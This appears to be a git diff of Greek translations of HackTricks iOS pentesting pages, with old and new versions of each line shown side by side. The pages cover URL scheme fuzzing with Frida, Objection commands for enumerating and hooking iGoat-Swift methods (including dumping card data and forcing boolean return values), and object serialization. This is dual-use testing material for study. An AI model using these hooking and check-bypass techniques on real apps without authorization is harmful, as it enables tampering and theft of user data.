Οι προγραμματιστές θα πρέπει να εξετάσουν συγκεκριμένες μεθόδους στον πηγαίο κώδικα για να κατανοήσουν την κατασκευή και την επικύρωση των διαδρομών URL, όπως `application:didFinishLaunchingWithOptions:` και `application:openURL:options:`. Για παράδειγμα, το Telegram χρησιμοποιεί διάφορες μεθόδους για το άνοιγμα των URL:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -56,17 +57,17 @@ self.openUrl(url: url)
return true
}
```
### Δοκιμή αιτημάτων URL προς άλλες εφαρμογές
### Testing URL Requests to Other Apps
Μέθοδοι όπως η `openURL:options:completionHandler:` είναι κρίσιμες για το άνοιγμα URL για αλληλεπίδραση με άλλες εφαρμογές. Η αναγνώριση της χρήσης τέτοιων μεθόδων στον πηγαίο κώδικα της εφαρμογής είναι καίρια για την κατανόηση των εξωτερικών επικοινωνιών.
Μέθοδοι όπως το `openURL:options:completionHandler:` είναι κρίσιμες για το άνοιγμα URL για αλληλεπίδραση με άλλες εφαρμογές. Η αναγνώριση της χρήσης τέτοιων μεθόδων στον πηγαίο κώδικα της εφαρμογής είναι το κλειδί για την κατανόηση των εξωτερικών επικοινωνιών.
### Δοκιμή για αποσυντεθειμένες μεθόδους
### Testing for Deprecated Methods
Πρέπει να αναγνωριστούν και να ελεγχθούν οι αποσυντεθειμένες μέθοδοι που χειρίζονται το άνοιγμα URL, όπως οι `application:handleOpenURL:` και `openURL:`, για πιθανές επιπτώσεις στην ασφάλεια.
Οι παρωχημένες μέθοδοι που χειρίζονται το άνοιγμα URL, όπως το `application:handleOpenURL:` και το `openURL:`, θα πρέπει να αναγνωρίζονται και να εξετάζονται για τις επιπτώσεις στην ασφάλεια.
### Ανίχνευση σφαλμάτων URL Schemes
### Fuzzing URL Schemes
Η ανίχνευση σφαλμάτων στα URL schemes μπορεί να αναγνωρίσει προβλήματα μνήμης. Εργαλεία όπως το [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) μπορούν να αυτοματοποιήσουν αυτήν τη διαδικασία ανοίγοντας URLs με διάφορα φορτία για να παρακολουθήσουν τυχόν ανατροπές, όπως φαίνεται από την παραπλάνηση των URLs στην εφαρμογή iGoat-Swift:
Το fuzzing URL schemes μπορεί να εντοπίσει σφάλματα διαφθοράς μνήμης. Εργαλεία όπως το [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία ανοίγοντας URL με ποικιλία payloads για να παρακολουθούν για κρασαρίσματα, όπως φαίνεται από τη χειραγώγηση των URL στην εφαρμογή iGoat-Swift:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
## Αναφορές
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Για αυτήν την ενότητα θα χρησιμοποιηθεί το εργαλείο [**Objection**](https://github.com/sensepost/objection).\
Ξεκινήστε αποκτώντας μια συνεδρία του objection εκτελώντας κάτι όπως:
Για αυτή την ενότητα, το εργαλείο [**Objection**](https://github.com/sensepost/objection) θα χρησιμοποιηθεί.\
Ξεκινήστε αποκτώντας μια συνεδρία objection εκτελώντας κάτι σαν:
```bash
objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore
```
Μπορείτε επίσης να εκτελέσετε `frida-ps -Uia` για να ελέγξετε τις εκτελούμενες διεργασίες του τηλεφώνου.
Μπορείτε επίσης να εκτελέσετε `frida-ps -Uia` για να ελέγξετε τις τρέχουσες διαδικασίες του τηλεφώνου.
# Βασική απαρίθμηση της εφαρμογής
# Βασική Αρίθμηση της εφαρμογής
## Τοπικά μονοπάτια της εφαρμογής
## Τοπικές Διαδρομές Εφαρμογής
* `env`: Βρείτε τα μονοπάτια όπου η εφαρμογή αποθηκεύεται μέσα στη συσκευή
* `env`: Βρείτε τις διαδρομές όπου είναι αποθηκευμένη η εφαρμογή μέσα στη συσκευή
```bash
env
@ -38,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
```
## Λίστα Bundles, πλαισίων και βιβλιοθηκών
## Λίστα Πακέτων, πλαισίων και βιβλιοθηκών
* `ios bundles list_bundles`: Λίστα bundles της εφαρμογής
* `ios bundles list_bundles`: Λίστα πακέτων της εφαρμογής
```bash
ios bundles list_bundles
@ -76,7 +77,7 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
[..]
```
* `memory list modules`: Λίστα φορτωμένων ενοτήτων στη μνήμη
* `memory list modules`: Λίστα φορτωμένων μονάδων στη μνήμη
```bash
memory list modules
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
[...]
```
* `memory list exports <module_name>`: Εξαγωγές μιας φορτωμένης ενότητας
* `memory list exports <module_name>`: Εξαγωγές μιας φορτωμένης μονάδας
```bash
memory list exports iGoat-Swift
@ -115,7 +116,8 @@ variable _ZTVN9couchbase6differ10BaseDifferE
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
[..]
```
## Λίστα κλάσεων ενός APP
## Λίστα κλάσεων μιας ΕΦΑΡΜΟΓΗΣ
* `ios hooking list classes`: Λίστα κλάσεων της εφαρμογής
@ -135,7 +137,7 @@ AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: Αναζήτηση μιας κλάσης που περιέχει ένα συγκεκριμένο string. Μπορείτε **να αναζητήσετε ένα μοναδικό όρο που σχετίζεται με το κύριο πακέτο** της εφαρμογής για να βρείτε τις κύριες κλάσεις της εφαρμογής, όπως στο παράδειγμα:
* `ios hooking search classes <search_term>`: Αναζητήστε μια κλάση που περιέχει μια συμβολοσειρά. Μπορείτε **να αναζητήσετε κάποιο μοναδικό όρο που σχετίζεται με το κύριο πακέτο της εφαρμογής** για να βρείτε τις κύριες κλάσεις της εφαρμογής όπως στο παράδειγμα:
```bash
ios hooking search classes iGoat
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: Αναζήτηση μιας μεθόδου που περιέχει ένα συγκεκριμένο string
* `ios hooking search methods <search_term>`: Αναζητήστε μια μέθοδο που περιέχει μια συμβολοσειρά
```bash
ios hooking search methods cvv
@ -188,27 +190,27 @@ ios hooking search methods cvv
# Βασικό Hooking
Τώρα που έχετε **απαριθμήσει τις κλάσεις και τα αρθρώματα** που χρησιμοποιεί η εφαρμογή, μπορεί να έχετε βρει ορισμένα **ενδιαφέροντα ονόματα κλάσεων και μεθόδων**.
Τώρα που έχετε **αριθμήσει τις κλάσεις και τις μονάδες** που χρησιμοποιούνται από την εφαρμογή, μπορεί να έχετε βρει μερικά **ενδιαφέροντα ονόματα κλάσεων και μεθόδων**.
## Hook όλες τις μεθόδους μιας κλάσης
* `ios hooking watch class <class_name>`: Hook όλες τις μεθόδους μιας κλάσης, αποθηκεύοντας όλες τις αρχικές παραμέτρους και επιστροφές
* `ios hooking watch class <class_name>`: Hook όλες τις μεθόδους μιας κλάσης, εκτυπώστε όλους τους αρχικούς παραμέτρους και τις επιστροφές
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
```
## Hook μια μεμονωμένη μέθοδο
## Hook μια συγκεκριμένη μέθοδο
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook μια συγκεκριμένη μέθοδο μιας κλάσης, αποθηκεύοντας τις παραμέτρους, τα backtraces και τις επιστροφές της μεθόδου κάθε φορά που καλείται
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook μια συγκεκριμένη μέθοδο μιας κλάσης εκτυπώνοντας τις παραμέτρους, τις αναδρομές και τις επιστροφές της μεθόδου κάθε φορά που καλείται
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
```
## Αλλαγή της επιστρεφόμενης τιμής Boolean
## Αλλαγή Boolean Επιστροφής
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Αυτό θα κάνει την επιλεγμένη μέθοδο να επιστρέφει την καθορισμένη boolean τιμή
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Αυτό θα κάνει τη επιλεγμένη μέθοδο να επιστρέφει την υποδεικνυόμενη boolean
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον επαγγελματία με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [επίσημο PEASS & HackTricks swag](https://peass.creator-spring.com)
* Ανακαλύψτε [The PEASS Family](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [NFTs](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [ομάδα Discord](https://discord.gg/hRep4RUj7f) ή στην [ομάδα telegram](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Κοινοποιήστε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [HackTricks](https://github.com/carlospolop/hacktricks) και του [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,36 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
# WebView Χειριστές Πρωτοκόλλου
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# WebView Protocol Handlers
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Κώδικας και περισσότερες πληροφορίες στο [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Αντικειμενική Σειριοποίηση στην Ανάπτυξη iOS
## Σειριοποίηση Αντικειμένων στην Ανάπτυξη iOS
Στο iOS, η **αντικειμενική σειριοποίηση** περιλαμβάνει τη μετατροπή αντικειμένων σε ένα μορφότυπο που μπορεί να αποθηκευτεί ή να μεταδοθεί εύκολα, και στη συνέχεια την ανακατασκευή τους από αυτόν τον μορφότυπο όταν απαιτείται. Δύο κύρια πρωτόκολλα, το **`NSCoding`** και το **`NSSecureCoding`**, διευκολύνουν αυτήν τη διαδικασία για τις υποκλάσεις Objective-C ή `NSObject`, επιτρέποντας την σειριοποίηση των αντικειμένων σε μορφή **`NSData`**, ένα μορφότυπο που εγκλείει δυαδικά buffers.
Στην iOS, **η σειριοποίηση αντικειμένων** περιλαμβάνει τη μετατροπή αντικειμένων σε μια μορφή που μπορεί να αποθηκευτεί ή να μεταδοθεί εύκολα, και στη συνέχεια την ανακατασκευή τους από αυτή τη μορφή όταν χρειάζεται. Δύο κύρια πρωτόκολλα, **`NSCoding`** και **`NSSecureCoding`**, διευκολύνουν αυτή τη διαδικασία για τις υποκλάσεις Objective-C ή `NSObject`, επιτρέποντας στα αντικείμενα να σειριοποιούνται σε **`NSData`**, μια μορφή που περιτυλίγει byte buffers.
### Υλοποίηση **`NSCoding`**
Για να υλοποιηθεί το `NSCoding`, μια κλάση πρέπει να κληρονομεί από το `NSObject` ή να επισημαίνεται ως `@objc`. Αυτό το πρωτόκολλο απαιτεί την υλοποίηση δύο μεθόδων για την κωδικοποίηση και αποκωδικοποίηση μεταβλητών της περίπτωσης:
### **`NSCoding`** Υλοποίηση
Για να υλοποιηθεί το `NSCoding`, μια κλάση πρέπει να κληρονομήσει από το `NSObject` ή να είναι σημειωμένη ως `@objc`. Αυτό το πρωτόκολλο απαιτεί την υλοποίηση δύο μεθόδων για την κωδικοποίηση και την αποκωδικοποίηση των μεταβλητών στιγμής:
```swift
class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
}
```
### **Ενισχύοντας την ασφάλεια με το `NSSecureCoding`**
Για να αντιμετωπιστούν οι ευπάθειες όπου οι επιτιθέμενοι εισάγουν δεδομένα σε ήδη κατασκευασμένα αντικείμενα, το **`NSSecureCoding`** προσφέρει ένα βελτιωμένο πρωτόκολλο. Οι κλάσεις που συμμορφώνονται με το `NSSecureCoding` πρέπει να επαληθεύουν τον τύπο των αντικειμένων κατά την αποκωδικοποίηση, εξασφαλίζοντας ότι μόνο οι αναμενόμενοι τύποι αντικειμένων δημιουργούνται. Ωστόσο, είναι σημαντικό να σημειωθεί ότι ενώ το `NSSecureCoding` ενισχύει την ασφάλεια τύπου, δεν κρυπτογραφεί τα δεδομένα ή διασφαλίζει την ακεραιότητά τους, απαιτώντας επιπλέον μέτρα για την προστασία ευαίσθητων πληροφοριών:
### **Ενίσχυση Ασφάλειας με το `NSSecureCoding`**
Για να μετριαστούν οι ευπάθειες όπου οι επιτιθέμενοι εισάγουν δεδομένα σε ήδη κατασκευασμένα αντικείμενα, το **`NSSecureCoding`** προσφέρει ένα ενισχυμένο πρωτόκολλο. Οι κλάσεις που συμμορφώνονται με το `NSSecureCoding` πρέπει να επαληθεύουν τον τύπο των αντικειμένων κατά την αποκωδικοποίηση, διασφαλίζοντας ότι μόνο οι αναμενόμενοι τύποι αντικειμένων δημιουργούνται. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι ενώ το `NSSecureCoding` ενισχύει την ασφάλεια τύπου, δεν κρυπτογραφεί τα δεδομένα ή δεν διασφαλίζει την ακεραιότητά τους, απαιτώντας πρόσθετα μέτρα για την προστασία ευαίσθητων πληροφοριών:
```swift
static var supportsSecureCoding: Bool {
return true
@ -45,42 +46,42 @@ return true
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
## Αρχειοθέτηση Δεδομένων με το `NSKeyedArchiver`
Το `NSKeyedArchiver` και ο αντίστοιχος του, `NSKeyedUnarchiver`, επιτρέπουν την κωδικοποίηση αντικειμένων σε ένα αρχείο και την αργότερη ανάκτησή τους. Αυτός ο μηχανισμός είναι χρήσιμος για την διατήρηση αντικειμένων:
## Data Archiving with `NSKeyedArchiver`
`NSKeyedArchiver` και ο αντίστοιχός του, `NSKeyedUnarchiver`, επιτρέπουν την κωδικοποίηση αντικειμένων σε ένα αρχείο και την αργότερη ανάκτησή τους. Αυτός ο μηχανισμός είναι χρήσιμος για τη διατήρηση αντικειμένων:
```swift
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
### Χρήση του `Codable` για Απλοποιημένη Σειριοποίηση
Το πρωτόκολλο `Codable` της Swift συνδυάζει τα πρωτόκολλα `Decodable` και `Encodable`, διευκολύνοντας την κωδικοποίηση και αποκωδικοποίηση αντικειμένων όπως `String`, `Int`, `Double`, κ.λπ., χωρίς περιττή προσπάθεια:
### Using `Codable` for Simplified Serialization
